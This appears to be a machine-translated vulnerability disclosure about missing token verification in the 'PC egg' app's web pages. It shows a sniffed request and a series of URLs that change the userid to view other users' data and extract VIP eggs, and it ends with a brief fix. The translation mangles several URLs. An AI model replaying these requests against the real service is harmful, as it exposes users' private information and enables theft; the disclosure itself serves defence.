PC egg tokens are not strictly audited. As a result, any account information can be viewed and any VIP egg can be extracted.

PC egg tokens are not strictly audited. As a result, any account information can be viewed and any VIP egg can be extracted.

Privacy information leakage caused by poor token auditing on the Web Side of the PC egg App.



0x01 preparations



Hardware: iMac of iPhone 6 and Broadcom 802.11n NICs

Tool: sniffer tools



Enable Bearer Network (Virtual AP ):
 

Download the APP:
 

Register and log on:
 

0x02 proof of vulnerability



Sniffer:
 

GET /page/myeggs/app_message.aspx?t=1&v=2.0.6&userid=19118867&token=qigqrsrw8r8pa3bbd7coc7qa5s2atpqtql2caec8&keycode=3B33F47EA87C9B19AE2A1E41E75BBF7 HTTP/1.1Host: app.pceggs.comConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 8_1_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Mobile/12B436Accept-Language: zh-cnAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Put the address in Chrome for access:
 

Http://app.pceggs.com/page/myeggs/app_message.aspx? T = 1 & v = 2.0.6 & userid = 19118867 & token = qigqrsrw8r8pa3bbd7coc7qa5s2atpqtql2caec8 & keycode = 3B33F47EA87C9B19AE2A1E41E75BBF7



It is accessible, that is, what is the role of token and keycode? OK. Let's test the parameters one by one.

Remove the keycode parameter:
 

Http://app.pceggs.com/page/myeggs/app_message.aspx? T = 1 & amp; v = 2.0.6 & amp; userid = 19118867 & token = qigqrsrw8r8pa3bbd7coc7qa5s2atpqtql2caec8



If it is found that the token can be accessed, does it only check the token? Let's remove the token.



Remove the token parameter:
 

Http://app.pceggs.com/page/myeggs/app_message.aspx? T = 1 & v = 2.0.6 & userid = 19118867



You can still access the miracle !! Isn't the token verified ?? Try another userid!



Try userid 1003:
 

Http://app.pceggs.com/page/myeggs/app_message.aspx? T = 1 & v = 2.0.6 & userid = 1003



A miracle has occurred ......



Does other pages have this problem? Take a look ......



Personal center:
 

Http://app.pceggs.com/page/myeggs/app_myeggs.aspx? T = 1 & v = 2.0.6 & userid = 17789037



No token to view VIP eggs:
 

Extract egg:
 

Egg extracted successfully:
 

Http://app.pceggs.com/page/myeggs/app_vip.aspx? Type = 1 & t = 1 & amp; v = 2.0.6 & amp; userid = 17789037



Other pages that are not listed are the same issue.

 

Http://app.pceggs.com/page/myeggs/app_message.aspx? T = 1 & v = 2.0.6 & userid = 1004

Solution:

Verify token and keycode integrity